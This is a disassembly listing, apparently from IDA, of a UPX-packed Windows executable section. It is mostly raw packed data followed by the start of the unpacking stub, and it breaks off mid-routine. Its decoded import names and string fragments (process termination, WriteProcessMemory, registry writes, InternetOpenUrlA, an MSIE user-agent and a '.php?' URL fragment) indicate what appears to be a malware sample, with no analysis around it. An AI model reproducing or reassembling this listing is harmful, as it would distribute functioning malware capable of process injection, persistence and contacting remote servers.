Offset to raw data for section: 00005000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 30905000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_30905000 dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h ; DATA XREF: UPX1:30906B01o dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 736C0100h dd 70637274h, 1004179h, 65746E49h, 636F6C72h, 4964656Bh dd 6572636Eh, 746E656Dh, 72430100h, 65746165h, 6E657645h dd 1004174h, 74696157h, 53726F46h, 6C676E69h, 6A624F65h dd 746365h, 69725701h, 69466574h, 100656Ch, 736F6C43h dd 6E614865h, 656C64h, 65724301h, 46657461h, 41656C69h dd 736C0100h, 656C7274h, 100416Eh, 7274736Ch, 41746163h dd 65470100h, 73795374h, 446D6574h, 63657269h, 79726F74h dd 47010041h, 6F4C7465h, 656C6163h, 6F666E49h, 53010041h dd 7065656Ch, 736C0100h, 70637274h, 416E79h, 74654701h dd 72727543h, 50746E65h, 65636F72h, 1007373h, 50746547h dd 41636F72h, 65726464h, 1007373h, 64616F4Ch, 7262694Ch dd 41797261h, 72570100h, 50657469h, 65636F72h, 654D7373h dd 79726F6Dh, 704F0100h, 72506E65h, 7365636Fh, 47010073h dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 74654701h dd 6B636954h, 6E756F43h, 43010074h, 74616572h, 74754D65h dd 417865h, 65724301h, 54657461h, 61657268h, 43010064h dd 74616572h, 6F725065h, 73736563h, 53010041h, 76457465h dd 746E65h, 65704F01h, 6576456Eh, 41746Eh, 69784501h, 72685474h dd 646165h, 61655201h, 6C694664h, 47010065h, 69467465h dd 6953656Ch, 100657Ah, 74697845h, 636F7250h, 737365h dd 74654701h, 7473614Ch, 6F727245h, 44010072h, 74656C65h dd 6C694665h, 4165h, 0D1h, 0 dd 67655201h, 61657243h, 654B6574h, 41784579h, 65520100h dd 74655367h, 756C6156h, 41784565h, 65520100h, 65755167h dd 61567972h, 4565756Ch, 1004178h, 4F676552h, 4B6E6570h dd 78457965h, 52010041h, 65446765h, 6574656Ch, 756C6156h dd 1004165h, 43676552h, 65736F6Ch, 79654Bh, 6F624101h dd 79537472h, 6D657473h, 74756853h, 6E776F64h, 43010041h dd 74707972h, 61657243h, 61486574h, 1006873h, 70797243h dd 73614874h, 74614468h, 43010061h, 74707972h, 69726556h dd 69537966h, 74616E67h, 41657275h, 72430100h, 44747079h dd 72747365h, 6148796Fh, 1006873h, 70797243h, 73654474h dd 796F7274h, 79654Bh, 79724301h, 65527470h, 7361656Ch dd 6E6F4365h, 74786574h, 72430100h, 41747079h, 69757163h dd 6F436572h, 7865746Eh, 1004174h, 70797243h, 706D4974h dd 4B74726Fh, 7965h, 0DEh, 0E8h, 61727301h, 100646Eh, 636D656Dh dd 1007970h, 6C727473h, 1006E65h, 736D656Dh, 1007465h dd 646E6172h, 655F0100h, 70656378h, 61685F74h, 656C646Eh dd 1003372h, 73727473h, 1007274h, 63727473h, 7268h, 0E9h dd 10Ch, 6E694601h, 6E695764h, 41776F64h, 65470100h, 726F4674h dd 6F726765h, 57646E75h, 6F646E69h, 47010077h, 69577465h dd 776F646Eh, 65726854h, 72506461h, 7365636Fh, 644973h dd 70737701h, 746E6972h, 4166h, 0F4h, 120h, 746E4901h dd 656E7265h, 65704F74h, 6C72556Eh, 49010041h, 7265746Eh dd 4F74656Eh, 416E6570h, 6E490100h, 6E726574h, 6C437465h dd 4865736Fh, 6C646E61h, 49010065h, 7265746Eh, 4774656Eh dd 6F437465h, 63656E6Eh, 53646574h, 65746174h, 6E490100h dd 6E726574h, 65527465h, 69466461h, 656Ch, 100h, 138h dd 0FF0073FFh, 0DFF0002h, 1FF00h, 0FF0039FFh, 34FF006Fh dd 17FF00h, 0FF000CFFh, 4FF0009h, 13FF00h, 0FF0010FFh dd 3FF0016h, 0 dd 45500000h, 14C0000h, 9770002h, 40D2h, 0 dd 0E00000h, 10B010Fh, 24000006h, 10000000h, 0 dd 22DF0000h, 10000000h, 40000000h, 0 db 90h db 30h, 0, 10h dd 2000000h, 40000h, 0 dd 40000h, 0 dd 50000000h, 4000000h, 0 dd 20000h, 0 dd 10000010h, 0 dd 10000010h, 0 dd 100000h, 2 dup(0) dd 2C840000h, 8C0000h, 14h dup(0) dd 10000000h, 1780000h, 6 dup(0) dd 742E0000h, 747865h, 238C0000h, 10000000h, 24000000h dd 4000000h, 3 dup(0) dd 200000h, 642EE004h, 617461h, 0FE40000h, 40000000h, 10000000h dd 28000000h, 3 dup(0) dd 400000h, 4000C000h, 2E880000h, 44AE0000h, 484D0000h dd 0C3024A19h, 0A067B021h, 21633A0h, 0DCD75D03h, 0A73D7D4Ah dd 769F6801h, 9B3358E6h, 3A4A90DBh, 1B5AB7CCh, 1EDCD2E0h dd 6A768472h, 96F42A70h, 9B238CC4h, 5EC86003h, 7A97640Ah dd 9CF86C97h, 0A2280084h, 3C4B383Fh, 66ED9B2Ah, 10FCB26Ch dd 0DE86E298h, 167723Bh, 7E500FDCh, 0F0F90CE3h, 0AC687016h dd 0D328C00Dh, 6C4E33B7h, 0E52708C9h, 0DB0C7A04h, 364308A4h dd 2DC54C30h, 436425F9h, 2EDB1CD6h, 0E425DE40h, 41A8A497h dd 8C86DE44h, 40BCB613h, 1BDE5044h, 9B7AC910h, 94B71EB1h dd 3F21970Dh, 81DFF75Bh, 0E87CACF9h, 1624A580h, 68250600h dd 0D8391C52h, 1C9D4F92h, 96F41276h, 2C4CEF4Eh, 4C0AEF1Dh dd 1EC87C6Ah, 7B1B258Fh, 0C9BE4944h, 1F24C8EEh, 90E1547Bh dd 669FE924h, 0C4C976E6h, 0CF782449h, 296148EDh, 0F8821B20h dd 66F4150Ch, 611998CDh, 86C7A02h, 747C5E70h, 0F42C42E8h dd 1C09845Fh, 4DA781F7h, 204D1C54h, 0A0357FA4h, 41E06C05h dd 868F8F7h, 57375712h, 0F2625A74h, 4C142D93h, 4B74F80Eh dd 8E12D868h, 8682516Eh, 81E53D74h, 0D2CFDB0Bh, 0FF9C4120h dd 0E80FFC55h, 6B75E4B9h, 0AC503DAEh, 0F00E9628h, 9AB66002h dd 0F855077Eh, 0E48C0009h, 762760F8h, 0CF47558h, 0D8B1887h dd 0E25FFD0h, 0E7619D99h, 573C418Bh, 6468C103h, 77FDB25Fh dd 34488B84h, 8950788Bh, 0B0A0F44Dh, 0CD5468D8h, 0D8303152h dd 0F001F0ADh, 8A528D65h, 74EC1269h, 3831B6EDh, 0D7300DD6h dd 0E82110Ch, 8DF01009h, 0A9DB4D4Eh, 5051F84Dh, 0B22EC58Dh dd 68971418h, 2CAC412Ah, 5D8A341Dh, 6B03CAF8h, 68955D73h dd 57B3D434h, 8EDD59ABh, 0F05576C1h, 74CF7C7Dh, 51F03E45h dd 1BB6616Ch, 315350E9h, 0F1C45FA8h, 0D6F709E0h, 0D06A17FAh dd 3FEA6D5Bh, 3BEC5577h, 100574C7h, 4D771BEBh, 18F0B9B7h dd 59DD0E68h, 0EB05FC0Eh, 9AA40807h, 0EF7439A1h, 23170949h dd 513C5DC3h, 0F60E751h, 41146931h, 0D428964h, 75D6B425h dd 0AFDDB685h, 0E8B213B1h, 332D590Fh, 0C222675Dh, 0B8B66AF9h dd 89624E3Ch, 500C80DBh, 507D50A8h, 0E9AC2974h, 195DBC2Ch dd 0F8B57C20h, 574388B3h, 14247C8Bh, 8B067F98h, 177EC91Bh dd 0C2801A84h, 0C9AB8861h, 1E14FFEAh, 7CF73B46h, 3B2480E9h dd 43544400h, 0ADB78CEAh, 5A5F2E44h, 0DB5657ACh, 303A5D66h dd 732F8760h, 0C250F0DCh, 19DB112Dh, 0AA005650h, 871E77ACh dd 0C0956807h, 6849F405h, 0D6DD1936h, 0FFF00CFAh, 343408C7h dd 0D32D93DBh, 482E2ACCh, 4C0A0A75h, 335AE742h, 181A20BCh dd 2FBC650h, 0B8077C2Ch, 2C013B7Fh, 8B0C40h, 0E39D8B01h dd 8D51085Bh, 215F2444h, 0D5D3112Ch, 336C269h, 0D0072459h dd 7FA13BA1h, 0C42007BBh, 1FED992Fh, 0C8E433CFh, 10E7C1F8h dd 0C3510B85h, 6E19E6h, 125D8B02h, 391C0333h, 7AC1ABC0h dd 24067B7Ch, 9BC653ABh, 0C0451E11h, 855ECF0h, 0E5E46825h dd 135A0760h, 17C3E700h, 0E40666CCh, 35884228h, 34663764h dd 903D98EAh, 4FC044B7h, 63362C0Dh, 4D8CFE47h, 8598BAA5h dd 54DA149Bh, 81BF007Ch, 0A134775Fh, 7900B933h, 0C13BC72Bh dd 0EDEE0272h, 0C18BDD76h, 0A12949E1h, 0C70318B8h, 0C4B4AC23h dd 3D8452DFh, 6A2F7223h, 1B64F878h, 0EB3D6785h, 43E113C4h dd 6EE4D687h, 746815F2h, 7068030Bh, 0DB59D68Ah, 532D2F2Ch dd 7E455347h, 7663E8C4h, 0C28B17CCh, 19A3ED04h, 5730CE09h dd 74A4AFE7h, 0D08243EAh, 4E9468B3h, 86EA7799h, 6806D1AEh dd 1D89805Bh, 4BA92791h, 0CF176DB4h, 0C7B314DFh, 263C00F2h dd 53ED6D98h, 3A01027Bh, 5A8D1C96h, 0ED6A8093h, 6946CF40h dd 22741AD6h, 2FA3D4C0h, 0FF7AB3BDh, 97F1A310h, 0E95153FCh dd 49098D6Ch, 5BD03A79h, 6C466E1Fh, 5EEC2656h, 3509540Ch dd 10C27C2Dh, 56B35EF8h, 4BD2773Eh, 89E80C33h, 500EC5Dh dd 0FBB06FFFh, 1FFF25F6h, 0A3C33A04h, 0E77443CCh, 84CC8A12h dd 0F424DEAFh, 50DF74C9h, 0A42EA5Eh, 8CC2DD32h, 6458983Ch dd 0D7D1400Ch, 5F6E15F4h, 1FD807F8h, 48E5EC44h, 366891FDh dd 60FEA20h, 0CF53E2EBh, 0E1425CC1h, 9043455Fh, 1D7BAC01h dd 38A17066h, 11D6B033h, 0DB43D307h, 0D6D9023Eh, 0B198802Dh dd 68B09B0Dh, 0D0A3ABE8h, 1D8CE0E0h, 6E7C22B0h, 0DC1AC4A3h dd 0D8609D9Eh, 4552B73Dh, 1C0D29D8h, 0ECDF6704h, 1A331904h dd 235D68ADh, 0FB5FA413h, 0DEBEC344h, 99591379h, 6093569h dd 44C8B1ABh, 3A402C74h, 39025638h, 4868C388h, 7562D9AFh dd 70388FF3h, 0B95F43A3h, 0FC085B02h, 2D718A8h, 0F6032032h dd 382404C7h, 402C300Bh, 0E79A406h, 642428DDh, 20640640h dd 0D0BF181Ch, 59140643h, 39742039h, 634E0C68h, 4407CC3Bh dd 4E04DDA4h, 9309FC06h, 1C4D9193h, 0ECED40F4h, 120A0BB6h dd 216FD3AFh, 4C0AEC15h, 9CC93904h, 0DB26BF16h, 1E3AE87Dh dd 14054534h, 889E18F5h, 0E033C213h, 0E3EB4221h, 55AB14EAh dd 80C24301h, 0F0FCFBE6h, 801B6011h, 51467FA4h, 8F0B458Ah dd 45AADEC3h, 0DB32FF03h, 42363A52h, 0ECA6E97Ch, 5D3831E0h dd 5D8825D2h, 67F230Bh, 0B5073FB8h, 0DC35B70Fh, 0F7993BA4h dd 0CBD603FEh, 24019FF8h, 0FB80C3FEh, 5EBD72FFh, 0DA930260h dd 5F766265h, 870A08AAh, 6833764Ch, 0DB084F58h, 81D8604Ch dd 9390D0Ah, 8EC1530Bh, 756C6661h, 3B0F7526h, 4A36325Bh dd 89D224B0h, 3D2A323Dh, 0FF845BC8h, 8143D703h, 98D6C9FBh dd 9F2F1B7Ch, 245D875Fh, 0D74CAE7Bh, 0A200732Ch, 12DB7C7Fh dd 73992F78h, 0F8FF04FDh, 0FEF16F35h, 887F3C8Fh, 8BAD6BF7h dd 0D8B6C3B1h, 0DC8C3B49h, 4A33EAAh, 0A06764ECh, 572F9E57h dd 3DB9069Ch, 59F86F4Bh, 0FF251413h, 256E25E1h, 0EE75B354h dd 2710688Bh, 8EC3C0A6h, 0D3BED3ACh, 4C70849Eh, 0C6C19658h dd 64EF6A9h, 0B11CB58Ch, 72508F68h, 2DAF4E07h, 0F29868BAh dd 0EDF020D3h, 30BCC99h, 4E5068B0h, 25DEACD4h, 0CD111037h dd 0A26C42F2h, 77D326Ch, 0DF0B80C6h, 565544DFh, 2C0B3BC0h dd 0D42A5793h, 3C3433E6h, 0A551AC26h, 83FD1F0Ch, 0F40E0EC1h dd 0FA5314FBh, 6CD5B7F6h, 6A020B77h, 5DD83850h, 1AD205D2h dd 96FB5E87h, 9187400h, 0BB109A11h, 5E60E13h, 4F001419h dd 5F1606D8h, 0A27E103h, 0D7456AAh, 4203D553h, 51C7B62Ch dd 4C39AA10h, 4A1BE86Bh, 85ED3A67h, 3E117EEDh, 8776179Ch dd 4D590F6Dh, 596EF14h, 8BF2EBA2h, 0DC1925Bh, 0DDEB6575h dd 68981693h, 1B3F6807h, 16232FB4h, 150C0C8Ch, 58706E42h dd 810677Ch, 0CB51C814h, 0CF2E8E16h, 0D0955618h, 718CF618h dd 563E6361h, 2ADC743Dh, 433816DDh, 506C6192h, 702D1020h dd 8182CB2h, 215E5003h, 0F8BF166h, 7AC68B55h, 6B3B2692h dd 2C562E5Dh, 555653h, 4060B16Bh, 520ABE27h, 39640E49h dd 0E0C040Ch, 5D8B3C83h, 53012848h, 8A5C1FDEh, 0BA4EC70Fh dd 3CDA948Eh, 0DBC5E0F8h, 4E365C1Eh, 7F9DF779h, 5BBC4B78h dd 7AA4C62Fh, 0D8F33568h, 2583D98Ah, 13DD109Ah, 208CC5E8h dd 7D721C20h, 6CF15947h, 1E748DF0h, 56FC2101h, 0FDE8DE99h dd 0FF1CC481h, 0DE45E0B5h, 661F0FFFh, 52417366h, 67506008h dd 46C386AEh, 89BD766Ch, 7B6338B7h, 0FFA15E1h, 3C757D0h dd 0C8E42480h, 0D4069B91h dd 0DC54D86Ch, 391C8E48h, 0E440E072h, 0EC1CE834h, 9F306410h dd 4EF4F047h, 89B0E4F4h, 7DD345F3h, 0BE03BF0Ah, 8E2D9198h dd 188B1D85h, 2F60C8CFh, 1146468Bh, 540E1775h, 9AD82ED3h dd 7B180B1Dh, 91488337h, 0B635C9A8h, 88812A75h, 78C07611h dd 0AD0974FCh, 8B3176E0h, 6A88EB7Eh, 845B2863h, 27F827A1h dd 0E0831B70h, 5C08303h, 2A2E1AE9h, 4727524Fh, 21B916C8h dd 3DA410E4h, 0B9987051h, 0E26D677h, 0B3BC3814h, 50E1F660h dd 20403461h, 598B2DF7h, 28ABDEE0h, 3166CCC6h, 4178182Bh dd 1B3E8497h, 1F45414h, 56580757h, 84D84C3Ch, 5CFB06E9h dd 1FC561ACh, 5F14C748h, 0EB0BB700h, 4552E025h, 501D6AE0h dd 0DF086103h, 0E071BCBFh, 8AE13F51h, 3774D483h, 0F1BB0AC3h dd 5FD88AE6h, 5352D14Dh, 0EEBC8AF4h, 530D8BD9h, 0EBB1383Dh dd 3A04590Fh, 32CE6BDBh, 8D6568B6h, 0E2165B03h, 0B6BB2665h dd 0FB4A81ACh, 0BB46D856h, 6E17D035h, 5CE15BB9h, 8134B25Eh dd 0E7951282h, 3784864Ch, 0BBC63176h, 0C52CFD3Bh, 0AE65B208h dd 0B16807E0h, 0C48BC85h, 0CD6015EBh, 0C4032394h, 1FE3AB09h dd 0EFD0F53Ch, 0E244330Ch, 0BE6A7668h, 1362D9ECh, 0CC4011h dd 0CCFC25FFh, 11E6C8C8h, 0ECF0F405h, 0C3A91A85h, 8D33511Fh dd 0DFB1FD8Bh, 811472F7h, 42D0BE9h, 73170185h, 8BC82BECh dd 0ADEE91C4h, 0E18B0CBEh, 482088Bh, 644FC350h, 91B1B088h dd 49585Ch, 11601500h, 0A5F8F108h, 2061479h, 41535224h dd 0FFFF8031h, 145ADBBh, 838DF501h, 0EC527911h, 0F63AE42Ah dd 0EA9B49E7h, 0FFAFBEE0h, 21FFFFFFh, 95447EDBh, 32615E1Ah dd 6A1F85A0h, 94FF949Fh, 26A68439h, 1DCE358Fh, 0BC9A55Ch dd 0FF657AB2h, 72A03FFFh, 7A6F4DB3h, 616C6C69h, 302E342Fh dd 6F632820h, 0FF61706Dh, 74FFFB5Bh, 656C6269h, 534D203Bh dd 36204549h, 69570915h, 776F646Eh, 0BF4E2073h, 54FDD41Bh dd 312E3520h, 441C6F29h, 0FC040C01h, 0DBEF9E41h, 0D800EC34h dd 0B80EC809h, 0E79EF9ACh, 8090A079h, 0E7680474h, 5CE79E79h dd 20344454h, 9E7CD328h, 40FC0810h, 0FEDDBEF0h, 7465CE5Fh dd 64726168h, 7A69622Eh, 6B630800h, 6C2E73BAh, 0DBCBDB76h dd 766317DFh, 75722E76h, 77777707h, 0A76C6465h, 0DBB7FB65h dd 6F6C0F63h, 6F670A76h, 736F6830h, 6B732E74h, 0EDD8DBE7h dd 65E566EDh, 63456573h, 1E002268h, 59ED7B6Ch, 6E6564FBh dd 0FDA6173h, 9577566h, 0FFED67FFh, 6B6EEB5Bh, 726F2E69h dd 72740067h, 1F206A6Fh, 7632DB61h, 6B3A3C6Bh, 746D0C61h dd 0AD6D2D83h, 2E78C33Dh, 71065B2Fh, 0B6CE620Eh, 6B2AB66Dh dd 276262Bh, 0CB630B7Ah, 5DFB1B6h, 2E706F74h, 5B69176Eh dd 5BF2773h, 0B56B736Ch, 757A0F78h, 652D746Ch, 0B6B0ED6h dd 5B176983h, 0ABA8D6Bh, 0C2B42BDFh, 694F9195h, 7DFB429Fh dd 780032C0h, 6A2C6177h, 0BE256262h, 0DFECEDh, 66617A9Bh dd 5D2EA861h, 7F5C2365h, 0E71221E1h, 23636261h, 69686766h dd 0F8DF6B6Ah, 6D6CEDDBh, 7271C56Eh, 777675F7h, 8C7A7978h dd 44434241h, 0FFF97FB4h, 48474645h, 4C4B4A49h, 504F4E4Dh dd 56555451h, 5A595857h, 0FFD81D1Bh, 74685B61h, 2F3A7074h dd 0B73252Fh, 0F85B7D2Fh, 2E9765CDh, 3F706870h, 3F0F3D0Eh dd 0FB6E6373h, 6B6B5F6h, 6E70C64h, 313D3B76h, 0C1133F34h dd 746E520Eh, 58EBD81Bh, 77F7D93Dh, 373231EDh, 3A3101A8h dd 2F303038h, 0DFDF65h, 1B01FFFFh, 335DDFE8h, 0EEB966C9h dd 5758D01h, 68AFE8Bh, 0DFFFD13Ch, 460799B6h, 46302C06h dd 7889934h, 0EBEDE247h, 0FDDAE80Ah, 6C28DFEFh, 2E676557h dd 0C9999371h, 0BDFD1201h, 0EE16FD91h, 7BFFFDFh, 0AA6872C1h dd 0AA66FD42h, 14BA10FDh, 1A98A91Ch, 0F198F3C9h, 63FF6708h dd 710286B7h, 5F9010C0h, 599237CBh, 3A781C96h, 1F27DB14h dd 7157E4F6h, 713A0A7Dh, 0F19DF345h, 3A478904h, 0F1097DF7h dd 40119C04h, 0DFF367B3h, 0E3FB1DDBh, 0DC1C10F0h, 6059B20Bh dd 125C99Bh, 7B1F2CD9h, 0A10414ECh, 9E71CA17h, 61688D2Bh dd 67DAAD91h, 0E21A8C2Fh, 28111D96h, 0C850B2h, 0DEDB3FDBh dd 57DC1499h, 4E122555h, 1291C0A4h, 0FBED9949h, 0F7BDBFD9h dd 0C4140054h, 71CBCA3Ah, 24FF1C3Bh, 0D91A21E4h, 0CFBB0F66h dd 668FCDCDh, 1E3F812Ch, 3FF76CDFh, 83B8B0FBh, 5D12CDC3h dd 1DCBC9A8h, 0FEC9AD25h, 0B243B64h, 96A6485Ah, 976714C0h dd 4C1B93FDh, 0F3EBA729h, 16E9BA9Ch, 0B3FFEE34h, 7126F4EFh dd 0F90EFCF5h, 29EF133Bh, 5F376B46h, 0DE4766DEh, 0ECECDFFFh dd 116ADA8h, 0EDFFC5B7h, 0FDE9ECE9h, 2CE1FCB7h, 0C21F77FBh dd 0FCF5CA01h, 0FCF25AFCh, 0F5FCF7EBh, 0FED6ABAAh, 0C77FFFCBh dd 59AAF934h, 2A2A25B4h, 93ACC966h, 90B78190h, 0C983639Dh dd 0D89271CDh, 30CFE17Dh, 513519BFh, 0A95D914h, 712A9172h dd 0FFFFF6C8h, 0A5D2EB41h, 0E180D512h, 6FAA529Ah, 9A2A8D14h dd 8B12B9C8h, 0FF474A9Ah, 0C38DFDBFh, 0DB9BAB9Eh, 0EC20A319h dd 0BDDDA26Ch, 0DF9EED85h, 0EB81E8A2h, 0FB7FFF9Ah, 0C8125544h dd 2E961FBDh, 0D812EB8Dh, 125A9A85h, 5A9A099Dh, 0FF76F810h dd 0D0961613h, 7F664922h, 8712FEFDh, 95C25AA9h, 0DEDDB680h dd 82128502h, 0CB5A9104h, 7213CFF7h, 85B7CFF3h, 424D53FFh dd 0C8531872h, 0E97FFFFFh, 62FE9Fh, 83435002h, 4F575445h dd 50204B52h, 52474F52h, 0DAC54D41h, 3120C6B7h, 414C17CDh dd 0A024D4Eh, 21D6A56Eh, 0B71566ABh, 0D6676B03h, 0AAB76D2Dh dd 330E7075h, 4D27611Ah, 6C3E5423h, 215832E9h, 2E323232h dd 0A6B06731h, 2018D6CDh, 0A48B323Ch, 9192B51Bh, 0C0A0773h dd 0B7D83635h, 40023FFh, 20140A11h, 0BD10D405h, 698E4BB5h dd 534B4C00h, 23DB5053h, 97EFFE09h, 82E00882h, 6E240057h dd 0F02EE6D8h, 6F006400h, 3A73009Dh, 2D013074h, 9BDBD91h dd 3500398Ch, 0D9131D23h, 72EB980h, 8ABDA00h, 9E406499h dd 9F57DA20h, 2712760Dh, 462A0003h, 3C8D4723h, 40078320h dd 10060006h, 0CFFFA297h, 8A151F01h, 48E088h, 3644004Fh dd 2266A19h, 0F27AFFFBh, 281C49E4h, 742530AFh, 0E1536710h dd 0A796D5Ch, 3075DFF9h, 75C0400h, 735D7BAEh, 5C085ABDh dd 72E4D61h, 0E46C6EDBh, 2E380036h, 491B3077h, 1C43EC00h dd 20173676h, 64633F00h, 0F201F2DBh, 4DC08A2h, 24FF1640h dd 0FE41ECh, 0E00DEDEh, 19F1600h, 7EFB2602h, 28402613h dd 8B110319h, 8359D96Ch, 0D374868Dh, 0DB2A9B70h, 9C77C852h dd 109F256Bh, 0B03BAE0Eh, 1B044867h, 5A541354h, 0BADB9F73h dd 22596326h, 45CBC75Ch, 7BD8765h, 5FE69h, 4810030Bh, 0EB810B8h dd 8BFFFFD8h, 286A050Bh, 0B10C3919h, 0A89B11D0h, 0D94FC000h dd 2F5FF52Eh, 5DFFC2FBh, 1CEB8A88h, 0E89F11C9h, 48102B3Ch dd 0F40CD160h, 645CF92Bh, 0CA060A3h, 0C8790064h, 0CB10CA0h dd 77FDF200h, 880CA072h, 90040h, 703ECh, 4F08F60Dh, 4F401495h dd 0BF40707Ch, 4BD91100h, 13430791h, 0FF84F3C8h, 138578h dd 0E9A65BABh, 2FF81013h, 139E31A8h, 230EFEFFh, 6183A440h dd 8408FEB0h, 0C9E44388h, 10B9FBA7h, 0B801FFEEh, 0E4200C10h dd 0ADF26CC3h, 0F7F070Dh, 0CB3E4AD8h, 7001182Bh, 200D0F84h dd 0F84F21Fh, 2000F95h, 0F93C9B0Fh, 6C0F847Fh, 0A89A000Fh dd 955BD91h, 9513436Fh, 1F18127Fh, 50586E69h, 79725020h dd 814DB6h, 39014446h, 92796B32h, 123C089Fh, 41027515h dd 0F6440053h, 941C081Ah, 5FFF3701h, 0C606EB39h, 73255C5Ch dd 6370695Ch, 0EC816624h, 0FFF2EA6Ah, 0E4FF071Ch, 44655300h dd 67756265h, 67997669h, 31F46EA5h, 6A6441A7h, 6F546175h dd 66DB92E0h, 73176EB2h, 75126F4Ch, 76FDB670h, 6C61567Fh dd 17416575h, 6F28704Fh, 34732463h, 3523A960h, 61764300h dd 8D94333Fh, 79E3C54Ah, 6FE26D4Ch, 65DC40B4h, 72545F11h dd 0D4577961h, 355754B6h, 61314317h, 754A521Ah, 6F68B6EEh dd 0C685405h, 0D4735614h, 0DB8D6DADh, 4F284158h, 9E977845h dd 3A77CDB5h, 0F547356Eh, 54481EF3h, 0D1A25C4Bh, 3C7F5054h dd 20573220h, 0F7BD4AD6h, 0A0D4B4Fh, 449F4B01h, 0AB7D9B02h dd 44C2DEDh, 203AA567h, 2F187525h, 2961ED6Bh, 0B5795428h dd 99B5A326h, 0AE706ADAh, 2F158363h, 6A3AA7B9h, 932DC702h dd 2D0AC972h, 57C75AC6h, 0E92B0047h, 0F48D6D1Eh, 0CBE564F6h dd 0ED0B2D73h, 736D8D5Fh, 0CBA96376h, 0DF736977h, 3F14E2Dh dd 75175F32h, 6B7203E7h, 3233669Ah, 39133031h, 73E41900h dd 0D10038E7h, 52303107h, 33075213h, 803AA778h, 0B59FFF2Ah dd 4F536F8Dh, 41575446h, 4D5C4552h, 0D8B07E69h, 8B6FB5B6h dd 435C735Ch, 0E727275h, 0C9E80577h, 5CBE8656h, 0D787552h dd 902C3B43h, 135BB055h, 0FFE426E5h, 73616664h, 647A6E68h dd 536C6473h, 96DC149h, 0E57B27Bh, 9B4BF96Ch, 1242B95Bh dd 4449AF57h, 83432053h, 0FA43ABFBh, 0D5762067h, 0B90076D7h dd 1C2B6F67h, 20639D32h, 0D90B1053h, 6544B64Bh, 23871A1Bh dd 2DCCDF8Fh, 79831217h, 856B0C73h, 4200C2C6h, 0FD5B20FFh dd 5A851323h, 6D1B16E3h, 4E061420h, 60300B1Bh, 207C4437h dd 0B25B66AAh, 672F6EE7h, 632A9C6Dh, 0AC446324h, 690A0BFDh dd 4D207974h, 1A1E6E61h, 0EC2A9AE9h, 53C4009Eh, 0DB78C40h dd 0B046B4C6h, 37C10C65h, 0DB6C6E0h, 6F4D1B47h, 0C046654Fh dd 334DD36Dh, 306D614Eh, 72DB6C01h, 82EF7363h, 5B0A5D6Bh dd 0A197970h, 0DC934BCDh, 3265F086h, 146F4916h, 6CA68DB6h dd 5354702Fh, 5AC370D4h, 232B520Bh, 32126419h, 15D4CD73h dd 57540FF3h, 0D8182C35h, 210580C2h, 6974844Eh, 2D743B92h dd 33495D61h, 761E4F91h, 0A64DB68h, 6A446163h, 0C2C17645h dd 810CE7C2h, 75464461h, 7B6E9553h, 4F91B42Bh, 748C6A62h dd 16097214h, 2DBC8B9Ah, 0AA48E03Fh, 58BDEC36h, 0D1183A0Ch dd 77B82708h, 61DB6ED8h, 44CCF94Dh, 1D0D6615h, 79CD6357h dd 95D6E914h, 2B1FAD6Ah, 530F3284h, 9B318209h, 0A77065ECh dd 0ECD8216Eh, 0D4C973D6h, 64960B12h, 0AF660F72h, 4C2B47F1h dd 520A6269h, 0B5CD58A0h, 6D4D2BC1h, 0B3911367h, 82084059h dd 84BA63BAh, 55548D85h, 4757C6Bh, 86B3664Dh, 4178A5EDh dd 2C0D8E0Dh, 5DC97B42h, 622D39AFh, 0C21E561Dh, 31784538h dd 373C2E52h, 652E05C1h, 657A4E08h, 0CD81C16Dh, 0BB4C9122h dd 6D304145h, 0DADE6ADh, 3F497544h, 5A1B26FBh, 986747D1h dd 4579654Bh, 3B9C0458h, 0F747D10h, 76B584BDh, 11ED0A51h dd 0B362CC95h, 215A3080h, 0DBB42010h, 0C51C23Bh, 0A07B6241h dd 815A9AC4h, 6E48FB97h, 675CC1FDh, 7774160Bh, 0FB103848h dd 0A7DB66Bh, 0E611244h, 79666971h, 0AD61B4D7h, 757A6763h dd 0F66C362Bh, 0C536F616h, 112C796Fh, 5038106Fh, 8F527708h dd 90D883C1h, 149FF67Fh, 75716341h, 594D7269h, 4974AE70h dd 133AA020h, 0C336D1DEh, 7273E8A7h, 0B26D06C1h, 0CE18B1E5h dd 0F740E2Ch, 0E1746573h, 1D676856h, 3F65445Fh, 0C6ED685Fh dd 0ACC0CC5Ch, 63070227h, 150B38A6h, 0AFE90FA5h, 0AE598CC7h dd 14444046h, 330D8BFCh, 15C16540h, 41B90A14h, 0C1DE3098h dd 76CD6649h, 70776C2Bh, 4166B105h, 1E20F44Fh, 643A441Ch dd 2955850Dh, 9BDB0B60h, 490E1141h, 961B835h, 6E036B14h dd 325C332Ch, 7453A32Bh, 11531A81h, 0C054648Bh, 9659653Bh dd 273FF6Dh, 39010D02h, 96596596h, 0C17346Fh, 95180409h dd 10135965h, 6F3AE916h, 45503AB6h, 9774C49h, 46CE40D2h dd 0E0FD1E5Fh, 6010B01h, 0B1142474h, 0DF13CF60h, 9B250B22h dd 0F7AFA12Dh, 7FD020Bh, 6E676050h, 341E0CD9h, 5E590710h dd 86066F02h, 0A8C2C84h, 64080DDBh, 341E0178h, 2EE31758h dd 90237B6Ah, 609BC724h, 452CA64h, 0E1642EE0h, 0B720BEC2h dd 2B0FE4FBh, 25982728h, 0C016DD7Eh, 1D2E8804h, 0AEh, 12000000h dd 0FF00h, 2 dup(0) ; --------------------------------------------------------------------------- pusha mov esi, offset dword_30905000 lea edi, [esi-4000h] push edi or ebp, 0FFFFFFFFh jmp short loc_30906B22 ; --------------------------------------------------------------------------- align 8 loc_30906B18: ; CODE XREF: UPX1:loc_30906B29j mov al, [esi] inc esi mov [edi], al inc edi loc_30906B1E: ; CODE XREF: UPX1:30906BB6j ; UPX1:30906BCDj add ebx, ebx jnz short loc_30906B29 